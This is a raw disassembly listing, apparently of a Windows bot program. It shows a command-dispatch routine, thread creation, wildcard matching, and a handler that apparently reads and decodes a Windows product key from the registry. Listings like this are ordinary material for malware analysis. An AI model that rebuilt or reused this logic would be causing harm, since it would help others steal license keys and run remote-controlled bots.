loc_407610:				; CODE XREF: sub_40756C+9Dj
		cmp	[ebp+arg_10], edi
		mov	[esi+2A4h], eax
		jz	short loc_407626
		push	[ebp+arg_10]
		call	sub_41151C	; atoi
		pop	ecx
		jmp	short loc_407629
; ---------------------------------------------------------------------------

loc_407626:				; CODE XREF: sub_40756C+ADj
		push	3
		pop	eax

loc_407629:				; CODE XREF: sub_40756C+B8j
		mov	[esi+2A8h], eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	esi
		push	offset sub_4072FC
		push	edi
		push	edi
		call	dword_4120BC	; CreateThread
		cmp	eax, edi
		jnz	short loc_407651
		push	esi
		call	sub_4114CA	; free
		jmp	loc_407587
; ---------------------------------------------------------------------------

loc_407651:				; CODE XREF: sub_40756C+D8j
		push	eax
		call	dword_4120AC	; CloseHandle

loc_407658:				; CODE XREF: sub_40756C+1Cj
					; sub_40756C+30j
		pop	edi
		pop	esi
		leave
		retn
sub_40756C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40765C	proc near		; CODE XREF: sub_4077A7+2Cp

var_1108	= byte ptr -1108h
var_108		= byte ptr -108h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1108h
		call	sub_411540
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	ecx, [esi]
		lea	ebx, [esi+4]
		lea	edi, [esi+104h]
		push	ebx
		push	edi
		lea	eax, [esi+204h]
		push	dword ptr [ecx]
		push	offset dword_414674
		push	eax
		call	sub_4096CB
		push	2710h
		push	0
		push	offset dword_414670
		push	edi
		call	sub_403C04
		mov	edi, eax
		add	esp, 24h
		test	edi, edi
		mov	[ebp+var_4], edi
		jnz	short loc_4076B4
		xor	al, al
		jmp	loc_4077A2
; ---------------------------------------------------------------------------

loc_4076B4:				; CODE XREF: sub_40765C+4Fj
		push	ebx
		lea	eax, [ebp+var_108]
		push	offset dword_414668
		push	eax
		call	dword_4121EC
		lea	eax, [ebp+var_108]
		push	eax
		call	sub_4114BE	; strlen
		inc	eax
		push	eax
		lea	eax, [ebp+var_108]
		push	eax
		push	edi
		call	sub_403D9D
		add	esp, 1Ch
		test	eax, eax
		jz	loc_407795
		lea	eax, [ebp+var_1108]
		push	1000h
		push	eax
		push	edi
		call	sub_403DB2
		add	esp, 0Ch
		test	eax, eax
		jz	loc_407795
		cmp	eax, 0FFFFFFFFh
		jz	loc_407795
		cmp	[ebp+var_1108],	0
		lea	ebx, [ebp+var_1108]
		jz	short loc_407791
		mov	edi, offset dword_419678

loc_407727:				; CODE XREF: sub_40765C+133j
		push	ebx
		call	sub_405A76
		cmp	byte ptr [ebx],	0
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	short loc_40774A
		push	offset dword_413F54
		push	ebx
		call	sub_41177E	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40774A
		push	ebx
		jmp	short loc_407759
; ---------------------------------------------------------------------------

loc_40774A:				; CODE XREF: sub_40765C+D8j
					; sub_40765C+E9j
		lea	eax, [ebp+var_1108]
		cmp	ebx, eax
		jz	short loc_407767
		push	offset dword_414664

loc_407759:				; CODE XREF: sub_40765C+ECj
		lea	eax, [esi+204h]
		push	eax
		call	sub_4096CB
		pop	ecx
		pop	ecx

loc_407767:				; CODE XREF: sub_40765C+F6j
		push	3E8h
		call	dword_4120A4	; Sleep
		push	edi
		call	sub_407200
		mov	eax, [esi]
		push	edi
		mov	ebx, [eax+4]
		call	sub_40720B
		pop	ecx
		test	ebx, ebx
		pop	ecx
		jnz	short loc_407791
		mov	ebx, [ebp+arg_0]
		cmp	byte ptr [ebx],	0
		jnz	short loc_407727

loc_407791:				; CODE XREF: sub_40765C+C4j
					; sub_40765C+12Bj
		mov	bl, 1
		jmp	short loc_407797
; ---------------------------------------------------------------------------

loc_407795:				; CODE XREF: sub_40765C+8Bj
					; sub_40765C+A8j ...
		xor	bl, bl

loc_407797:				; CODE XREF: sub_40765C+137j
		push	[ebp+var_4]
		call	sub_403D70
		pop	ecx
		mov	al, bl

loc_4077A2:				; CODE XREF: sub_40765C+53j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40765C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4077A7	proc near		; DATA XREF: sub_40780C+87o

var_3A8		= dword	ptr -3A8h
var_2A4		= byte ptr -2A4h
var_1A4		= byte ptr -1A4h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 3A8h
		push	3A7h
		lea	eax, [ebp+var_3A8]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		push	[ebp+arg_0]
		call	sub_4114CA	; free
		lea	eax, [ebp+var_3A8]
		push	eax
		call	sub_40765C
		add	esp, 14h
		test	al, al
		jnz	short loc_4077FA
		lea	eax, [ebp+var_2A4]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	offset dword_4146A0
		push	eax
		call	sub_4096CB
		add	esp, 0Ch

loc_4077FA:				; CODE XREF: sub_4077A7+36j
		push	[ebp+var_3A8]
		call	sub_406E6F
		pop	ecx
		xor	eax, eax
		leave
		retn	4
sub_4077A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40780C	proc near		; CODE XREF: sub_407A76+9C2p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 0
		push	esi
		jz	loc_4078A0
		push	3A7h
		call	sub_4114C4	; malloc
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_4078A0
		push	[ebp+arg_4]
		lea	eax, [esi+4]
		push	eax
		call	sub_4114B8	; _mbscpy
		cmp	[ebp+arg_8], 0
		pop	ecx
		pop	ecx
		jz	short loc_407852
		push	[ebp+arg_8]
		lea	eax, [esi+104h]
		push	eax
		call	sub_4114B8	; _mbscpy
		pop	ecx
		pop	ecx
		jmp	short loc_40786E
; ---------------------------------------------------------------------------

loc_407852:				; CODE XREF: sub_40780C+31j
		push	edi
		lea	edi, [esi+104h]
		push	offset dword_4146DC
		push	edi
		call	sub_4114B8	; _mbscpy
		push	edi
		call	sub_40B5E1
		add	esp, 0Ch
		pop	edi

loc_40786E:				; CODE XREF: sub_40780C+44j
		push	1A3h
		lea	eax, [esi+204h]
		push	[ebp+arg_0]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	offset dword_4146BC
		push	0
		push	esi
		push	offset sub_4077A7
		call	sub_406D58
		add	esp, 18h

loc_4078A0:				; CODE XREF: sub_40780C+8j
					; sub_40780C+1Dj
		pop	esi
		pop	ebp
		retn
sub_40780C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4078A3	proc near		; CODE XREF: sub_4078A3+51p
					; sub_40A236+125p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_4078AD:				; CODE XREF: sub_4078A3+1Cj
					; sub_4078A3+41j
		mov	dl, [esi]
		mov	cl, [eax]
		test	dl, dl
		jnz	short loc_4078C1
		test	cl, cl
		jz	short loc_4078E6
		cmp	cl, 2Ah
		jnz	short loc_407906
		inc	eax
		jmp	short loc_4078AD
; ---------------------------------------------------------------------------

loc_4078C1:				; CODE XREF: sub_4078A3+10j
		test	cl, cl
		jz	short loc_407906
		cmp	dl, cl
		jz	short loc_4078E2
		cmp	cl, 3Fh
		jz	short loc_4078E2
		cmp	cl, 23h
		jnz	short loc_4078EA
		cmp	dl, 30h
		jl	short loc_4078DD
		cmp	dl, 39h
		jle	short loc_4078E2

loc_4078DD:				; CODE XREF: sub_4078A3+33j
		cmp	dl, 23h
		jnz	short loc_407906

loc_4078E2:				; CODE XREF: sub_4078A3+24j
					; sub_4078A3+29j ...
		inc	eax
		inc	esi
		jmp	short loc_4078AD
; ---------------------------------------------------------------------------

loc_4078E6:				; CODE XREF: sub_4078A3+14j
					; sub_4078A3+5Aj
		mov	al, 1
		jmp	short loc_407908
; ---------------------------------------------------------------------------

loc_4078EA:				; CODE XREF: sub_4078A3+2Ej
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_407906
		lea	edi, [eax+1]

loc_4078F2:				; CODE XREF: sub_4078A3+61j
		push	edi
		push	esi
		call	sub_4078A3
		pop	ecx
		test	al, al
		pop	ecx
		jnz	short loc_4078E6
		cmp	[esi], al
		jz	short loc_407906
		inc	esi
		jmp	short loc_4078F2
; ---------------------------------------------------------------------------

loc_407906:				; CODE XREF: sub_4078A3+19j
					; sub_4078A3+20j ...
		xor	al, al

loc_407908:				; CODE XREF: sub_4078A3+45j
		pop	edi
		pop	esi
		retn
sub_4078A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40790B	proc near		; CODE XREF: sub_406EA9+A5p
					; sub_406F84+D0p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi

loc_407916:				; CODE XREF: sub_40790B+1Dj
					; sub_40790B+61j
		mov	cl, [esi]
		test	cl, cl
		jnz	short loc_40792A
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40796E
		cmp	cl, 2Ah
		jnz	short loc_40798E
		inc	eax
		jmp	short loc_407916
; ---------------------------------------------------------------------------

loc_40792A:				; CODE XREF: sub_40790B+Fj
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_40798E
		cmp	cl, dl
		jz	short loc_40796A
		cmp	cl, 41h
		jl	short loc_40793E
		cmp	cl, 5Ah
		jle	short loc_407948

loc_40793E:				; CODE XREF: sub_40790B+2Cj
		cmp	cl, 61h
		jl	short loc_407951
		cmp	cl, 7Ah
		jg	short loc_407951

loc_407948:				; CODE XREF: sub_40790B+31j
		mov	bl, cl
		xor	bl, 20h
		cmp	bl, dl
		jz	short loc_40796A

loc_407951:				; CODE XREF: sub_40790B+36j
					; sub_40790B+3Bj
		cmp	dl, 3Fh
		jz	short loc_40796A
		cmp	dl, 23h
		jnz	short loc_407972
		cmp	cl, 30h
		jl	short loc_407965
		cmp	cl, 39h
		jle	short loc_40796A

loc_407965:				; CODE XREF: sub_40790B+53j
		cmp	cl, 23h
		jnz	short loc_40798E

loc_40796A:				; CODE XREF: sub_40790B+27j
					; sub_40790B+44j ...
		inc	eax
		inc	esi
		jmp	short loc_407916
; ---------------------------------------------------------------------------

loc_40796E:				; CODE XREF: sub_40790B+15j
					; sub_40790B+7Aj
		mov	al, 1
		jmp	short loc_407990
; ---------------------------------------------------------------------------

loc_407972:				; CODE XREF: sub_40790B+4Ej
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_40798E
		lea	edi, [eax+1]

loc_40797A:				; CODE XREF: sub_40790B+81j
		push	edi
		push	esi
		call	sub_40790B
		pop	ecx
		test	al, al
		pop	ecx
		jnz	short loc_40796E
		cmp	[esi], al
		jz	short loc_40798E
		inc	esi
		jmp	short loc_40797A
; ---------------------------------------------------------------------------

loc_40798E:				; CODE XREF: sub_40790B+1Aj
					; sub_40790B+23j ...
		xor	al, al

loc_407990:				; CODE XREF: sub_40790B+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40790B	endp


; =============== S U B	R O U T	I N E =======================================



sub_407994	proc near		; CODE XREF: sub_4079AC+A4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	1
		test	ecx, ecx
		pop	eax
		jz	short locret_4079AB
		cmp	ecx, eax
		jl	short locret_4079AB

loc_4079A3:				; CODE XREF: sub_407994+15j
		imul	eax, [esp+arg_0]
		dec	ecx
		jnz	short loc_4079A3

locret_4079AB:				; CODE XREF: sub_407994+9j
					; sub_407994+Dj
		retn
sub_407994	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4079AC	proc near		; CODE XREF: sub_40495C+27p
					; sub_407A76+EDCp ...

var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aAbcdef ; "abcdef"
		lea	edi, [ebp+var_18]
		xor	ebx, ebx
		movsd
		movsw
		movsb
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		cmp	byte ptr [esi],	30h
		jnz	short loc_4079E2
		mov	al, [esi+1]
		push	1
		cmp	al, 78h
		pop	ebx
		jz	short loc_4079DF
		cmp	al, 58h
		jnz	short loc_4079E2

loc_4079DF:				; CODE XREF: sub_4079AC+2Dj
		push	2
		pop	ebx

loc_4079E2:				; CODE XREF: sub_4079AC+23j
					; sub_4079AC+31j
		push	esi
		call	sub_4114BE	; strlen
		mov	edi, eax
		pop	ecx
		cmp	ebx, edi
		mov	[ebp+var_10], edi
		mov	[ebp+arg_0], ebx
		jge	short loc_407A6A
		sub	edi, ebx
		dec	edi

loc_4079F8:				; CODE XREF: sub_4079AC+BCj
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax+esi]
		push	eax
		call	sub_411784	; tolower
		cmp	eax, 30h
		pop	ecx
		mov	[ebp+var_C], eax
		jl	short loc_407A1B
		cmp	eax, 39h
		jg	short loc_407A1B
		add	eax, 0FFFFFFD0h
		mov	[ebp+var_4], eax
		jmp	short loc_407A4D
; ---------------------------------------------------------------------------

loc_407A1B:				; CODE XREF: sub_4079AC+60j
					; sub_4079AC+65j
		cmp	eax, 61h
		jl	short loc_407A72
		cmp	eax, 66h
		jg	short loc_407A72
		mov	dl, [ebp+var_18]
		test	dl, dl
		jz	short loc_407A4D
		push	0Ah
		lea	eax, [ebp+var_18]
		pop	ebx
		lea	ecx, [ebp+var_18]
		sub	ebx, eax

loc_407A37:				; CODE XREF: sub_4079AC+9Fj
		movsx	eax, dl
		cmp	[ebp+var_C], eax
		jnz	short loc_407A45
		lea	eax, [ebx+ecx]
		mov	[ebp+var_4], eax

loc_407A45:				; CODE XREF: sub_4079AC+91j
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jnz	short loc_407A37

loc_407A4D:				; CODE XREF: sub_4079AC+6Dj
					; sub_4079AC+7Ej
		push	edi
		push	10h
		call	sub_407994
		imul	eax, [ebp+var_4]
		add	[ebp+var_8], eax
		inc	[ebp+arg_0]
		mov	eax, [ebp+arg_0]
		pop	ecx
		dec	edi
		cmp	eax, [ebp+var_10]
		pop	ecx
		jl	short loc_4079F8

loc_407A6A:				; CODE XREF: sub_4079AC+47j
		mov	eax, [ebp+var_8]

loc_407A6D:				; CODE XREF: sub_4079AC+C8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_407A72:				; CODE XREF: sub_4079AC+72j
					; sub_4079AC+77j
		xor	eax, eax
		jmp	short loc_407A6D
sub_4079AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407A76	proc near		; CODE XREF: sub_409918+911p

var_59E4	= byte ptr -59E4h
var_19E4	= byte ptr -19E4h
var_9E4		= byte ptr -9E4h
var_5E0		= byte ptr -5E0h
var_560		= byte ptr -560h
var_3E3		= byte ptr -3E3h
var_3E0		= byte ptr -3E0h
var_364		= byte ptr -364h
var_328		= byte ptr -328h
var_2F4		= byte ptr -2F4h
var_260		= byte ptr -260h
var_22C		= byte ptr -22Ch
var_228		= byte ptr -228h
var_208		= byte ptr -208h
var_1E7		= byte ptr -1E7h
var_E7		= dword	ptr -0E7h
var_E3		= byte ptr -0E3h
var_7D		= byte ptr -7Dh
var_6F		= byte ptr -6Fh
var_6C		= byte ptr -6Ch
var_69		= dword	ptr -69h
var_64		= byte ptr -64h
var_60		= byte ptr -60h
var_5B		= byte ptr -5Bh
var_56		= byte ptr -56h
var_51		= byte ptr -51h
var_4C		= byte ptr -4Ch
var_47		= byte ptr -47h
var_40		= byte ptr -40h
var_3B		= byte ptr -3Bh
var_3A		= byte ptr -3Ah
var_35		= byte ptr -35h
var_34		= byte ptr -34h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_29		= byte ptr -29h
var_28		= byte ptr -28h
var_23		= byte ptr -23h
var_1C		= dword	ptr -1Ch
var_18		= byte ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_B		= byte ptr -0Bh
var_A		= byte ptr -0Ah
var_9		= byte ptr -9
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, 59E4h
		call	sub_411540
		push	ebx
		push	esi
		mov	esi, [ebp+arg_14]
		push	edi
		push	dword ptr [esi]
		call	sub_40A64A
		push	[ebp+arg_0]
		mov	edi, eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4114B8	; _mbscpy
		push	[ebp+arg_8]
		lea	eax, [ebp+var_1E7]
		push	eax
		call	sub_4114B8	; _mbscpy
		mov	eax, [ebp+arg_C]
		push	7Ah
		push	[ebp+arg_10]
		mov	[ebp+var_E7], eax
		lea	eax, [ebp+var_E3]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 20h
		cmp	edi, dword_414F20
		push	1
		pop	eax
		mov	[ebp+var_69], eax
		jnz	short loc_407AEC
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41094B
		jmp	loc_408D68
; ---------------------------------------------------------------------------

loc_407AEC:				; CODE XREF: sub_407A76+63j
		cmp	edi, dword_414F14
		jnz	short loc_407B31
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_407B25
		lea	eax, [ebp+var_22C]
		push	eax
		lea	eax, [ebp+var_64]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_404A70
		add	esp, 0Ch
		lea	eax, [ebp+var_40]
		push	eax

loc_407B16:				; CODE XREF: sub_407A76+B9j
		push	offset dword_414F0C

loc_407B1B:				; CODE XREF: sub_407A76+A7Bj
					; sub_407A76+BABj
		call	sub_4097DB
		jmp	loc_408D2E
; ---------------------------------------------------------------------------

loc_407B25:				; CODE XREF: sub_407A76+83j
		push	eax
		call	sub_4098C7
		pop	ecx
		push	dword ptr [esi+4]
		jmp	short loc_407B16
; ---------------------------------------------------------------------------

loc_407B31:				; CODE XREF: sub_407A76+7Cj
		cmp	edi, dword_414F00
		jnz	short loc_407B6B
		lea	eax, [ebp+var_5E0]
		push	200h
		push	eax
		call	dword_4121F4
		push	eax
		call	dword_4121F0
		test	eax, eax
		jle	loc_408D69
		lea	eax, [ebp+var_5E0]
		push	eax
		push	offset dword_414EE4
		jmp	loc_40835E
; ---------------------------------------------------------------------------

loc_407B6B:				; CODE XREF: sub_407A76+C1j
		cmp	edi, dword_414ED8
		jnz	short loc_407B8A
		push	dword ptr [esi+8]
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+4]
		push	eax
		call	sub_4057ED
		jmp	loc_40836A
; ---------------------------------------------------------------------------

loc_407B8A:				; CODE XREF: sub_407A76+FBj
		cmp	edi, dword_414ECC
		jnz	loc_407C5E
		mov	eax, [ebp+arg_18]
		xor	ebx, ebx
		mov	eax, [eax+4]
		cmp	eax, ebx
		jz	loc_408D69
		push	180h
		push	eax
		lea	eax, [ebp+var_3E0]
		push	eax
		call	sub_4059C2
		lea	eax, [ebp+var_3E0]
		push	eax
		call	sub_4114BE	; strlen
		mov	esi, eax
		add	esp, 10h
		cmp	esi, 3
		jle	short loc_407C04
		lea	edi, [ebp+esi+var_3E3]
		push	offset dword_414EC8
		push	edi
		call	sub_41177E	; strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407C04
		lea	eax, [ebp+var_3E0]
		mov	[edi], bl
		push	eax
		call	sub_4058B8
		lea	eax, [ebp+var_3E0]
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx
		mov	esi, eax
		pop	ecx

loc_407C04:				; CODE XREF: sub_407A76+156j
					; sub_407A76+16Ej
		mov	eax, esi
		push	4
		cdq
		pop	ecx
		idiv	ecx
		mov	ecx, esi
		sub	ecx, eax
		cmp	ecx, 180h
		ja	loc_408D69
		lea	eax, [ebp+var_3E0]
		push	esi
		push	eax
		call	sub_40A798
		lea	eax, [ebp+var_3E0]
		push	esi
		push	eax
		call	sub_40A7C4
		push	eax
		lea	eax, [ebp+var_560]
		push	eax
		lea	eax, [ebp+var_3E0]
		push	eax
		call	sub_40A51A
		add	esp, 1Ch
		lea	eax, [ebp+var_560]
		push	eax
		push	offset dword_414EA4
		jmp	loc_40835E
; ---------------------------------------------------------------------------

loc_407C5E:				; CODE XREF: sub_407A76+11Aj
		cmp	edi, dword_414E98
		jnz	loc_407CFC
		mov	esi, [ebp+arg_18]
		xor	ebx, ebx
		mov	eax, [esi+4]
		cmp	eax, ebx
		jz	loc_408D69
		cmp	byte ptr [eax],	3Dh
		jnz	loc_408D69
		inc	eax
		push	eax
		call	sub_40A5D0
		test	eax, eax
		pop	ecx
		jz	loc_408D69
		mov	eax, [esi+4]
		inc	eax
		push	eax
		call	sub_4114BE	; strlen
		pop	ecx
		mov	ecx, eax
		push	4
		cdq
		pop	edi
		idiv	edi
		sub	ecx, eax
		cmp	ecx, 180h
		ja	loc_408D69
		lea	eax, [ebp+var_3E0]
		push	eax
		mov	eax, [esi+4]
		inc	eax
		push	eax
		call	sub_40A44E
		push	eax
		lea	eax, [ebp+var_3E0]
		push	eax
		call	sub_40A82E
		mov	esi, eax
		lea	eax, [ebp+var_3E0]
		push	esi
		push	eax
		call	sub_40A7AE
		add	esp, 18h
		lea	eax, [ebp+var_3E0]
		mov	[ebp+esi+var_3E0], bl
		push	eax
		push	offset dword_414E78
		jmp	loc_40835E
; ---------------------------------------------------------------------------

loc_407CFC:				; CODE XREF: sub_407A76+1EEj
		cmp	edi, dword_414E68
		jnz	short loc_407D18
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_404A33
		jmp	loc_408D2E
; ---------------------------------------------------------------------------

loc_407D18:				; CODE XREF: sub_407A76+28Cj
		cmp	edi, dword_414E58
		jnz	short loc_407D31
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40491E
		jmp	loc_408D68
; ---------------------------------------------------------------------------

loc_407D31:				; CODE XREF: sub_407A76+2A8j
		cmp	edi, dword_414E50
		jnz	loc_407EE1
		push	0Ch
		mov	esi, offset dword_414E1C
		pop	ecx
		lea	edi, [ebp+var_260]
		rep movsd
		movsb
		push	5
		mov	esi, offset dword_414E04
		pop	ecx
		lea	edi, [ebp+var_18]
		rep movsd
		lea	eax, [ebp+var_260]
		xor	ebx, ebx
		push	eax
		mov	[ebp+arg_18], ebx
		mov	[ebp+arg_8], 0C8h
		movsb
		call	sub_40B5E1
		pop	ecx
		lea	eax, [ebp+arg_18]
		push	eax
		push	20019h
		lea	eax, [ebp+var_260]
		push	ebx
		push	eax
		push	80000002h
		call	dword_412000
		test	eax, eax
		lea	eax, [ebp+var_260]
		push	eax
		jnz	short loc_407DCE
		call	sub_40B5A8
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_40B5E1
		pop	ecx
		lea	eax, [ebp+arg_8]
		pop	ecx
		push	eax
		lea	eax, [ebp+var_328]
		push	eax
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		call	dword_41200C
		test	eax, eax
		lea	eax, [ebp+var_18]
		push	eax
		jz	short loc_407DEB

loc_407DCE:				; CODE XREF: sub_407A76+324j
		call	sub_40B5A8
		cmp	[ebp+arg_18], ebx
		pop	ecx
		jz	loc_408D69
		push	[ebp+arg_18]
		call	dword_412028
		jmp	loc_408D69
; ---------------------------------------------------------------------------

loc_407DEB:				; CODE XREF: sub_407A76+356j
		call	sub_40B5A8
		pop	ecx
		push	[ebp+arg_18]
		call	dword_412028
		push	7
		mov	esi, offset dword_414DE4
		pop	ecx
		lea	edi, [ebp+var_228]
		rep movsd
		lea	eax, [ebp+var_228]
		push	eax
		movsb
		call	sub_40B5E1
		pop	ecx
		mov	[ebp+var_47], bl
		mov	[ebp+arg_0], 18h

loc_407E22:				; CODE XREF: sub_407A76+3F0j
		xor	edx, edx
		mov	[ebp+arg_14], 0Eh

loc_407E2B:				; CODE XREF: sub_407A76+3DDj
		mov	eax, [ebp+arg_14]
		mov	ecx, edx
		shl	ecx, 8
		lea	esi, [ebp+eax+var_2F4]
		push	18h
		pop	edi
		movzx	eax, byte ptr [esi]
		add	ecx, eax
		push	edi
		mov	eax, ecx
		cdq
		idiv	edi
		mov	[esi], al
		mov	eax, ecx
		cdq
		pop	ecx
		idiv	ecx
		dec	[ebp+arg_14]
		jns	short loc_407E2B
		mov	ecx, [ebp+arg_0]
		mov	al, [ebp+edx+var_228]
		dec	[ebp+arg_0]
		mov	[ebp+ecx+var_60], al
		jns	short loc_407E22
		lea	eax, [ebp+var_228]
		push	eax
		call	sub_40B5A8
		push	5
		lea	eax, [ebp+var_60]
		pop	esi
		mov	[ebp+var_23], bl
		push	esi
		push	eax
		lea	eax, [ebp+var_40]
		mov	[ebp+var_29], 2Dh
		push	eax
		mov	[ebp+var_2F], 2Dh
		mov	[ebp+var_35], 2Dh
		mov	[ebp+var_3B], 2Dh
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_5B]
		push	esi
		push	eax
		lea	eax, [ebp+var_3A]
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_56]
		push	esi
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_51]
		push	esi
		push	eax
		lea	eax, [ebp+var_2E]
		push	eax
		call	sub_4114D0	; memcpy
		lea	eax, [ebp+var_4C]
		push	esi
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		call	sub_4114D0	; memcpy
		add	esp, 40h
		lea	eax, [ebp+var_40]
		push	eax
		push	offset dword_413B6C
		jmp	loc_40835E
; ---------------------------------------------------------------------------

loc_407EE1:				; CODE XREF: sub_407A76+2C1j
		cmp	edi, dword_414DD4
		jnz	short loc_407F31
		xor	ebx, ebx
		mov	[ebp+var_6C], 1
		cmp	[ebp+var_7D], bl
		jz	short loc_407F05
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40DE4C
		jmp	loc_408D68
; ---------------------------------------------------------------------------

loc_407F05:				; CODE XREF: sub_407A76+47Cj
		cmp	[ebp+var_6F], bl
		lea	eax, [ebp+var_208]
		push	eax
		jz	short loc_407F1B
		call	sub_40E243
		jmp	loc_408D68
; ---------------------------------------------------------------------------

loc_407F1B:				; CODE XREF: sub_407A76+499j
		call	sub_40DE4C
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_40E243
		jmp	loc_408D2E
; ---------------------------------------------------------------------------

loc_407F31:				; CODE XREF: sub_407A76+471j
		cmp	edi, dword_414DC4
		jnz	short loc_407F4A
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4101AE
		jmp	loc_408D68
; ---------------------------------------------------------------------------

loc_407F4A:				; CODE XREF: sub_407A76+4C1j
		cmp	edi, dword_414DB8
		jnz	loc_407FDA
		push	8
		mov	esi, offset dword_414D94
		pop	ecx
		lea	edi, [ebp+var_40]
		rep movsd
		movsb
		mov	edx, off_418E20
		mov	esi, offset dword_414D8C
		lea	edi, [ebp+var_C]
		xor	eax, eax
		movsd
		movsw
		mov	cl, [ebp+var_C]
		mov	edi, offset dword_414D80
		cmp	cl, [edx]
		setz	al
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_407F8F
		mov	edi, offset dword_414D70

loc_407F8F:				; CODE XREF: sub_407A76+512j
		cmp	eax, ebx
		mov	esi, offset aThisBuildIsFul ; "This build is fully functional"
		jnz	short loc_407F9D
		mov	esi, offset aThisBuildIsBro ; "This build is broken and	will not funct"...

loc_407F9D:				; CODE XREF: sub_407A76+520j
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40B5E1
		mov	eax, dword_419FD0
		pop	ecx
		push	esi
		and	eax, 0FFFFh
		push	edi
		push	eax
		movzx	eax, byte ptr dword_418E00
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_4096CB
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_40B5A8
		jmp	loc_40898E
; ---------------------------------------------------------------------------

loc_407FDA:				; CODE XREF: sub_407A76+4DAj
		cmp	edi, dword_414D10
		jnz	short loc_408002
		push	dword ptr [esi+14h]
		lea	eax, [ebp+var_208]
		push	dword ptr [esi+10h]
		push	dword ptr [esi+0Ch]
		push	dword ptr [esi+8]
		push	dword ptr [esi+4]
		push	eax
		call	sub_4044AA
		jmp	loc_408235
; ---------------------------------------------------------------------------

loc_408002:				; CODE XREF: sub_407A76+56Aj
		cmp	edi, dword_414D04
		jnz	short loc_408026
		mov	eax, [ebp+arg_18]
		add	esi, 4
		add	eax, 4
		push	eax
		lea	eax, [ebp+var_208]
		push	esi
		push	eax
		call	sub_4111DB
		jmp	loc_40836A
; ---------------------------------------------------------------------------

loc_408026:				; CODE XREF: sub_407A76+592j
		cmp	edi, dword_414CF8
		jz	loc_408D5D
		cmp	edi, dword_414CEC
		jz	loc_408D5D
		cmp	edi, dword_414CDC
		jnz	short loc_40805D
		push	dword ptr [esi+8]
